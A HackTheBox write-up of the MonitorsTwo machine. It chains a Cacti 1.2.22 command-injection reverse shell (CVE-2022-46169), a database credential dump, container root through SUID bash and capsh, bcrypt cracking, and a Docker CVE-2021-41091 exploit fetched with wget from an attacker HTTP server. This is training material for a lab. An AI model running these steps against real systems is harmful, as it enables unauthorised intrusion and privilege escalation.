Writeup for the machine MonitorsTwo from Hackthebox

Published on September 06, 2023 by 0xRar

Writeups HackTheBox Boot2Root Web Network

7 min READ

Machine Information

  • Name: MonitorsTwo
  • Difficulty: Easy
  • URL: https://app.hackthebox.com/machines/MonitorsTwo

Initial Enumeration

Starting with nmap:

└─$ nmap -p- -sV -T4 --min-rate=10000 | tee nmap.log
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-25 22:30 EDT
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up (0.14s latency).
Not shown: 37441 closed tcp ports (conn-refused), 28092 filtered tcp ports (no-response)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.95 seconds

HTTP (80)

Opening the website shows that its running cacti version 1.2.22 which is a performance and fault management framework and a frontend to RRDTool, bascially a monitoring tool


Looking for vulnerabilities for this version of cacti turned out to be lucrative, the
version is vulnerable to a command injection vulnerability that allows an unauthenticated user to execute arbitrary code on a server running Cacti CVE-2022-46169, so we can find publicly available Proof of Concept Exploit and get reverse shell.

Initial Foothold

To establish a foothold on this machine i used this PoC exploit FredBrave/CVE-2022-46169-CACTI-1.2.22 in the form of a reverse shell.

Listening for connections:

└─$ nc -lvnp 1337  
listening on [any] 1337 ...

Running the exploit:

└─$ python CVE-2022-46169/exploit.py -u --LHOST=tun0_IP --LPORT=1337

And we are in !

PoC success

Now that we have access to the machine we can start enumerating and looking for anything that can allow us to get access to a local user, while looking for any scrips/files i found a shell script (entrypoint.sh) on the root directory /, there is also a .dockerenv file which means we are currently in a docker container!

www-data@50bca5e748b0:/$ cat entrypoint.sh
cat entrypoint.sh
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
	set -- apache2-foreground "$@"

exec "$@"

So what we got from that is there is a mysql service running locally and what got my interest is this line:

mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"

We can get all the (user_auth) database dumped by modifying the command to display everything:

mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"

This user in particular was interesting:

id	username		password	                                          realm	 full_name	     email_address
4	marcus	$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C	0	Marcus Brune	marcus@monitorstwo.htb

Moving to priv esc.

Privilege Escalation

But before cracking the hash to get the local user lets get root on the docker container it might be useful

www-data to root (docker container)

note: not sure why but the priv esc for the docker container is different everytime but both are easy so i will cover them both.

First command to run is to find if there is any binaries with the SUID bit set:

find / -perm -4000 -ls 2>/dev/null

If you got a reverse shell and it says bash-5.1$ you will find /bin/bash & /sbin/capsh which can get u root but if you got www-data@50bca5e748b0 you can only get root via /sbin/capsh

    42364     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
    42417     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
    42317     52 -rwsr-xr-x   1 root     root        52880 Feb  7  2020 /usr/bin/chsh
    42314     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
    42407     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
     5431     32 -rwsr-xr-x   1 root     root        30872 Oct 14  2020 /sbin/capsh
    41798     56 -rwsr-xr-x   1 root     root        55528 Jan 20  2022 /bin/mount
    41819     36 -rwsr-xr-x   1 root     root        35040 Jan 20  2022 /bin/umount
    41766   1208 -rwsr-xr-x   1 root     root      1234376 Mar 27  2022 /bin/bash
    41813     72 -rwsr-xr-x   1 root     root        71912 Jan 20  2022 /bin/su

Getting root using /bin/bash:

bash-5.1$ /bin/bash -p

Getting root using /sbin/capsh gtfobins - capsh

bash-5.1$ cd /sbin
bash-5.1$ ./capsh --gid=0 --uid=0 --

Now that we got root on the docker container lets crack the local user marcus hashed password using John the Ripper!

└─$ john marcus.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey      (?)     
1g 0:00:01:21 DONE (2023-06-27 14:43) 0.01231g/s 105.0p/s 105.0c/s 105.0C/s randyorton..coucou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now we can login via ssh using the creds we found marcus:funkymonkey

└─$ ssh marcus@

Now we can get the user flag:

marcus@monitorstwo:~$ cut -b 1-15 user.txt 

Now we escaped the docker container and got a local user lets look for a way to get root on the actual machine, what info do we have? we know docker is installed maybe its vulnerable to a local priv esc.

marcus@monitorstwo:~$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88

And indeed Docker version 20.10.5 is vulnerable CVE-2021-41091 or the docker engine(moby) is vulnerable.

I used this PoC exploit to get root UncleJ4ck/CVE-2021-41091, but first you need to run chmod u+s /bin/bash on the docker container and upload the exploit to the machine we connected to via ssh

Running HTTP Server:

└─$ python3 -m http.server
Serving HTTP on port 8000 ( ...

Getting the exploit from our HTTP server:

marcus@monitorstwo:/tmp$ wget http://tun0_IP:8000/exp.sh

Run the exploit:

marcus@monitorstwo:/tmp$ chmod +x exp.sh
marcus@monitorstwo:/tmp$ ./exp.sh

and if running the exploit didn’t work and you are sure you set the SUID bit you can do this:

marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami

and thats all !

bash-5.1# cut -b 1-15 root.txt

Thank You For Reading ❤